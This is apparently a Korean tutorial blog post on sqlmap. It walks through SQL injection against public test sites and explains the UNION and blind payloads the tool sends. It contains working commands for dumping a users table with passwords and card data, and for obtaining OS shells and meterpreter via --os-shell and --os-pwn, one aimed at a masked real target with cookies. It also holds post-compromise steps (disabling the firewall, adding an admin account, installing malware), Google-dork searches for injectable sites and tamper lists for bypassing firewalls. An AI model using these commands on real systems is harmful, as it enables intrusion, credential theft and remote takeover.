기본적으로 이는 sql 인젝션을 보다 쉽게 수행하게 해주는 툴이다. 공식 웹사이트에서는 이를 다음과 같이 소개한다.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
--time-sec 명령은 수행 속도를 높이는데 도움을 준다.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15
어느쪽이든 sqlmap 이 수행되면 Mysql 버전과 기타 유용한 정보를 확인 할 수 있다.
수행 시 직면할 질문들
- Some message saying that the database is probably Mysql, so should sqlmap skip all other tests and conduct mysql tests only. Your answer should be yes (y).
- Some message asking you whether or not to use the payloads for specific versions of Mysql. The answer depends on the situation. If you are unsure, then its usually better to say yes.
1) Enumeration
- Database
이 단계에서, 데이터베이스 이름, 컬럼명, 기타 데이터를 얻을 것이다.
우선 DB 명을 얻을것이다. 이를 위해 이전 명령어의 끝에 --dbs 를 추가시켜준다.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
'acuart' 와 'information schema' 데이터베이스를 찾았다.
- Table
acuart 데이터베이스를 뚫을 것이다.
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
- Columns
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns
- Data
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump
** 내용 추가 20180614
sqlmap 에서 수행되는 페이로드 패턴을 분석 및 이해
1. 기본적인 sqlmap 점검, -u 를 사용하여 점검 url 지정
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -v 3
(-v 3 옵션은 어떤 패턴이 넘어가는지 확인 하기 위함)
위와 같이 각 Type 별 취약점이 존재하는지 확인된다.
종류는 아래와 같이 대략 7개의 종류로 분류된다.
1) boolean-based blind
id=1) and 3755=3025 and (3118=3118
id 파라미터 형식에 맞는 쿼리 형식을 찾기 위해서 여러가지 시도를 한다.
2) AND/OR time-based blind
id=1 and sleep(5)
3) UNION query
id=-3365%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x716b706b71,0x45656c56636e6174645a7753646452644f6e45786c65424c7568476e4f676c46505a6b7466657757,0x7176717871),NULL
CONCAT 함수는 문자열 또는 칼럼의 내용을 합치는 역할을 하는데, CONCAT 안의 16진수를 모두 아스키 값으로 변환하여 출력하고 있다.
4) Error-based
5) inline queries
id=(SELECT CONCAT(0x7162706b71, (SELECT (ELT (5166=5166,1))),0x7170717171))
파라미터에 직접적인 쿼리를 수행하는 방식
6) Stacked queries
id=1;(SELECT * FROM (SELECT(SLEEP(5)))CkCn)#
파라미터를 입력을 ;로 종료하고 뒤이어 쿼리를 수행하는 방식
MySQL/PHP 기반에서는 Stacked queries 를 지원하지 않는다.
7) time-based blind
id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))MXil)
8) parameter length constrainting mechanisms
파라미터 길이를 필터링 하는지 안하는지 체크하는 것
id=-4784 UNION ALL SELECT NULL,CONCAT(0x7162706b71,(CASE WHEN (6381= 6381) THEN 1 ELSE 0 END), 0x7170717171),NULL--
CASE WHEN(6381=6381) THEN 1 ELSE 0 END) 이 문구가 핵심인데, 괄호 안의 조건이 맞으면 1을 나타내고, 아니면 0을 나타내라는 의미이다. 그리고나서 CONCAT 으로 문자열을 합쳐서 출력하는 것이다. 위 스크린샷을 보면 문자열 안에 1이 있는것을 확인 할 수 있다.
즉, 현재 페이지는 파라미터 길이 필터링을 하지 않는다는 것을 의미한다.
2. 취약점이 있는것을 확인하고 --dbs 옵션을 이용하여 데이터베이스를 추출
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 --dbs -v 3
위와 같이 2개의 데이터베이스 이름을 추출했다. 어떻게 추출했는지 알아보자
패턴1 - 데이터베이스 개수 확인하기
-7338 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20),0x7176717871),NULL FROM INFORMATION_SCHEMA.SCHEMATA--
주요 함수들은 다음과 같다
COUNT : 그룹의 항목 수를 반환
CAST : 데이터 형식의 식을 다른 형식의 식으로 변환
IFNULL : 값이 NULL 일 경우 지정된 대체 값으로 변환
CONCAT : 문자열 또는 칼럼의 내용을 합치는 역할
하나하나씩 풀이해보자
1) COUNT(schema_name) ==> 2 // COUNT 함수를 이용하여 테이블 이름을 저장하고 있는 칼럼의 schema_name 의 개수를 카운트한다.
2) CAST(2 AS CHAR) ==> '2' // 현재 데이터베이스 개수는 2개이므로 2개를 반환하고 CAST 함수를 만나 CHAR 형식, 즉 문자로 변환합니다.
3) IFNULL('2',0x20) ==> '2' // NULL 이 아니므로 문자를 변환합니다.
4) CONCAT(0x7176767871,'2',0x7171707a71) ==> qvkvq2qvzvq // CONCAT함수를 만나 괄호안에 있는 내용을 모두 합쳐서 반환해줍니다.
5) 식별자 안에 2라는 값을 확인 할 수 있으며, 데이터 베이스 개수가 2개인 것을 알 수 있습니다.
패턴 2 - 데이터베이스가 2개라는 것을 확인하였고 DB 이름을 빼오자
id=-5336 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(schema_name AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),NULL--
ID=-5336 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(schema_name AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),NULL--
여기서 중요한건 LIMIT 0,1 이다. 이것은 0행에서 1개의 값을 가져온다는 의미이다. 또한 LIMIT 1,1 는 1행에서 1개의 값을 가져온다는 뜻이다.
0) LIMIT 0,1 이므로 0행에서~ 1개의 값을 가져온다. (4,10 이면 다섯번째 부터 10개 추출. *0행부터 시작됨)
CAST(schema_name AS CHAR)
1) CAST 함수를 만나 schema_name 칼럼의 데이터인 information_schema를 문자 형태로 형 변환해서 가져온다.
IFNULL('information_schema', 0x20)
2) IFNULL 을 만나지만 NULL 이 아니므로 information_schema 문자를 반환한다.
CONCAT(0x7176767871,'information_schema',0x7171707a71)
3) CONCAT 함수를 이용하여 괄호 안에 있는 값을 문자열로 모두 합쳐준다.
4) 식별자 안에 information_schema 값을 확인 할 수 있다. 즉 첫번째 데이터베이스 이름이 information_schema 인 것을 알 수 있다.
3. 데이터베이스 명을 획득하고 --tables 명령어로 TABLE을 확인한다.
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -D acuart --tables -v 3
패턴 1 데이블 개수를 알아야 한다.
-3144 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(table_name) AS CHAR),0x20),0x7176717871),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x616375617274)--
풀이
tables : 모든 테이블의 정보를 가지고 있다.
table_schema : 하나 이상의 테이블을 가지고 있는 데이터베이스의 이름을 가지고 있다.
table_name : tables 테이블의 컬럼이다. 모든 테이블의 이름이 저장되어 있다.
0) WHERE 문을 이용하여 acuart(acuart의 16진수-0x616375617274) 데이터베이스를 한다.
1) COUNT(table_name) ==> 8 // table_name 칼럼 데이터 개수 8을 가져온다.
2) cast(8 AS CHAR) ==> '8' // 8을 문자형식으로 변환한다.
3) IFNULL('8', 0x20) ==> '8' // IFNULL 을 만나지만 NULL 이 아니므로 그대로 다시 반환한다.
4) CONCAT(0x716b706b71,'8',0x7176717871) //CONCAT 함수를 만나 괄호안의 문자열을 합쳐서 반환한다.
5) qvkvq8qvzvq
패턴 2 갯수를 알았으니 이제 테이블의 이름을 알아오자
-2952 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(table_name AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x616375617274) LIMIT 0,1),NULL--
0) LIMIT 0,1 이므로 0행에서 1개의 값을 가져온다.
1) CAST(table_name AS CHAR) ==> 'artists' // CAST 함수를 만나 artists 를 문자형으로 변환한다.
2) IFNULL('artists', 0x20) ==> 'artists' // IFNULL 함수를 만나지만 NULL 이 아니므로 artists 그대로 반환
3) CONCAT(0x716b706b71,'artists',0x7176717871) // CONCAT 함수를 만나 괄호 안의 값을 모두 합쳐준다.
4) 식별자 안에 artists 라는 값을 확인 할 수 있다.
이렇게 LIMIT 7,1 까지 수행하면 8개의 모든 테이블 명을 얻을 수 있다.
3. user 테이블안의 컬럼을 --columns 를 통해 파악하자
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -D acuart -T users --columns -v 3
패턴 1) 컬럼 갯수를 알아보자
-9787 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7176717871),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x616375617274--
1) CAST(COUNT(*) AS CHAR) // 개수가 반환된다.
패턴 2)
-8773 UNION ALL SELECT NULL,(SELECT CONCAT(0x716b706b71,IFNULL(CAST(column_name AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(column_type AS CHAR),0x20),0x7176717871) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x616375617274 LIMIT 0,1),NULL--
1) CAST(column_name AS CHAR)과 CAST(column_type AS CHAR) 를 동시에 요구하는 것을 볼 수 있다.
4. users 테이블의 정보를 얻어보자
sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -D acuart -T users --dump -v 3
패턴1)
-9623 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7176717871),NULL FROM acuart.users--
acuart.users 테이블의 데이터 갯수를 직접적으로 쿼리한다.
-7999 UNION ALL SELECT NULL,CONCAT(0x716b706b71,IFNULL(CAST(address AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(cart AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(cc AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(email AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(name AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(pass AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(phone AS CHAR),0x20),0x6b7073796a73,IFNULL(CAST(uname AS CHAR),0x20),0x7176717871),NULL FROM acuart.users--
users 의 컬럼명(cart, cc, email, name, pass, ... )으로 직접적으로 쿼리하고 있다.
** 내용추가 20180615
SQL injections 으로 OS Shell (cmd) 권한 획득하기
--os-shell 옵션을 통해 OS 권한을 획득 할 수 있다. (MYSQL 에서만 가능할 것 같다.)
<출처 - http://rootkey.tistory.com/22>
쉘 권한을 획득한 후 sqlcmd 명령어로 zxc123 같은 단순 패스워드를 사용중인 모든 사용자를 검색해 볼 수 있다.
<출처 - http://rootkey.tistory.com/22>
쉘을 획득했으니 다음의 시나리오 등이 나올 수 있다.
예1) 앞단에 방화벽이 없다면, os 방화벽 해제 -> 계정 추가(관리자 권한) -> RDP 나 SSH 로 바로 서버에 접속
예2) 침해 서버가 outbound 통신이 된다면 -> 악성코드 다운로드 -> 설치 -> 원격 컨트롤
exploit code upload (서버에 악성 코드 업로드)
os-shell 과 유사하지만 약간 다르다.
--os-shell : prompt for an interactive operating system shell
--os-pwn : prompt for an out-of band shell , meterpreter or VNC
./sqlmap.py -u "http://XXXXXXXXXXXXXXXXX.asp?XXXCode=X77" --dbms=mssql --cookie=" ASPSESSIONIDQATSDRRD=ACIJMAOBBACDBEAKPPIGOIJD; InstInfo=; ASPSESSIONIDQQDTDDAQ=JMHHBDACHAACAIIAOFCNOJOH; " --os-pwn --threads=10
<출처 - http://rootkey.tistory.com/22>
이미지를 보면 알겠지만 서버에 코드를 생성하여 리버스 공격을 가능케 한다.
구글독에서 취약점 검색하기 (https://securityonline.info/using-sqlmap-google-dork-exploiting-sql-injection/)
sqlmap.py -g http://test.com
-g 옵션은 google dork 을 이용해서 해당 타겟 URL과 연관된 부분을 검색해 인젝션이 가능한 사이트를 얻어오는 방법이다. 얻어온 정보를 기반으로 실제 테스트 까지도 가능하다.
**sqlmap 으로 검색 타겟 검색
sqlmap.py -g "inurl:\"php?id=\"
http://tunesoman.com/product.php?id=200
특정 파라미터를 지정하여 검색함으로써 시간을 절약하기
sqlmap.py -u "http://test.com/info.php?id=1" -p "id"
POST DATA SQL 인젝션 - SQLmap POST request injection
1) 버프스위트로 request 값을 저장한다(search-test.txt)
2) sqlmap.py -r search-test.txt -p (title)파라미터명
(http://www.webscantest.com/datastore/search_by_id.php 여기서 확인 가능함)
(sqlmap.py -u http://www.webscantest.com/datastore/search_by_id.php --data "id=1" --method POST --dbs 이런식으로 --data 옵션을 사용해서도 가능함)
tamper 스크립트로 WAF 우회하기
1) mysql 일 경우
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
2) mssql 일 경우
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
3) mssql, mysql 모두 적용 (general tamper testing)
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
(ex, sqlmap -u 'http://www.site.com:80/search.cmd?form_state=1’ --level=5 --risk=3 -p 'item1' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode)